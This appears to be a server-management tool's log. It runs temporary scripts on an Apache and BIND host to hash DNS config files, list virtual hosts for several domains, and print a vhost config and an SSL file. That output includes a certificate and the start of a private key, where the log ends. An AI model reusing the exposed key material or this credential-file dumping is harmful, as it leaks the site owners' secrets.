chmod 755 /tmp/pkp775644; /tmp/pkp775644; rm /tmp/pkp775644
2025-12-31 19:40:12:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-31 19:40:12: Establishing a connection
2025-12-31 19:40:12:
PUT: /tmp/pkp370169
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-31 19:40:12:
runuser -l bind -s /bin/bash -c '/tmp/pkp370169; rm /tmp/pkp370169'
2025-12-31 19:40:12:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-31 19:40:17: Establishing a connection
2025-12-31 19:40:18:
PUT: /tmp/pkp879899
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-31 19:40:19:
chmod 755 /tmp/pkp879899; /tmp/pkp879899; rm /tmp/pkp879899
2025-12-31 19:40:20:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
*:443 is a NameVirtualHost
default server cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:18)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-31 19:40:20:
PUT: /tmp/pkp862756
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/pjy_alive_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 19:40:20:
chmod 755 /tmp/pkp862756; /tmp/pkp862756; rm /tmp/pkp862756
2025-12-31 19:40:20:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_alive_us.conf 1144
<VirtualHost *:80>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_access.log combined
ErrorLog /var/log/apache2/pjy/alive_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_secure_access.log combined
ErrorLog /var/log/apache2/pjy/alive_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-31 19:40:20:
PUT: /tmp/pkp365058
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 19:40:21:
chmod 755 /tmp/pkp365058; /tmp/pkp365058; rm /tmp/pkp365058
2025-12-31 19:40:21:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb 5309
-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBqRCuV/kHaUQNs8n6autgKlVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjU3WhcNMjYwMzMxMDUwMjU2WjAXMRUwEwYDVQQD
EwxhbGl2ZS5wankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCr
k06yk15M4nC54vkjsllAlTL312Bo0rZRwcXo7qe7XDMboSHbAhfYrihCAnAryV7R
xmM3h5OAw8uKclOTVOHpl7vbqQUxjW880W5Sw8ueMXPwc4pLA/JcCi06Wnshfhxq
10cKMQK/2Yo+8x3gF/YyP4EOs4wUDATttNLYockFPaV82zB0nTMK6UKoLcGzxNZo
UVzyX+aGd1oV4X8NAZ1kTuFdgV1GHsytlbg76ogtkQo0oli6P8XuVQWGhH/+SCs9
NDsu/6x++ZFDhKveSNvBplFPh4p1SXjDfq4kaGqqdHLpQXNmhFOLC+lb4/uC3E6R
68fXDyUTMACqMEz8Qk3RAgMBAAGjggIlMIICITAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFBGY4UR8oCe1mRDshLOP7tBJcYPXMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wFwYDVR0RBBAwDoIMYWxpdmUucGp5LnVzMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvODYuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHcADleUvPOuqT4z
GyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGbcv86hwAABAMASDBGAiEA9HJ+HVrY
dV5orry0OBpxH9GTnBNrA8tR3qgUeyGG4MwCIQDOMjtEVWACq+305ryIeCqn5qkb
iEliHLSmbMaD5l/AFQB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHi
AAABm3L/OywACAAABQAFotjFBAMARzBFAiAWg9uifZtZoWXfJAcmoCr//ZFKs9aj
KtetPXqF5sugKwIhAOfK/KXoaGtttXjuWuT26NzNBazIwpO0qAv1x3nhdAdnMA0G
CSqGSIb3DQEBCwUAA4IBAQCUp3Ltgf9rfcj9BKt2aBH3hEjja1FwN2XMsAs/bBKX
kYp1llsnBjNJ4PNn2ZYYnZun4ndQJMJTWJCxKDPGcR3QOMXPm+DXxAwAn3aOV5bm
z/ksL/59o5w2yfrSoeDec5ddG/cKkX/6zas1WXKN5ykCERtFiEzBumymb6B+jU9c
gUYq3Dpkrc51xll0dvH2y26+kPWgSyuh2oucr03UeBQFUtTepO9MCY+Wsaq67Qfq
W2O2tBhXcIOb3l3xIAo6n3lSPCLGEo+FPTro0ob3Y9d7qh8DdFEo4otE3JmOxRTo
JDevasbMR/j+9bWm2jUeGh0RSFM2KGmlafNidXMv65g2
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCrk06yk15M4nC5
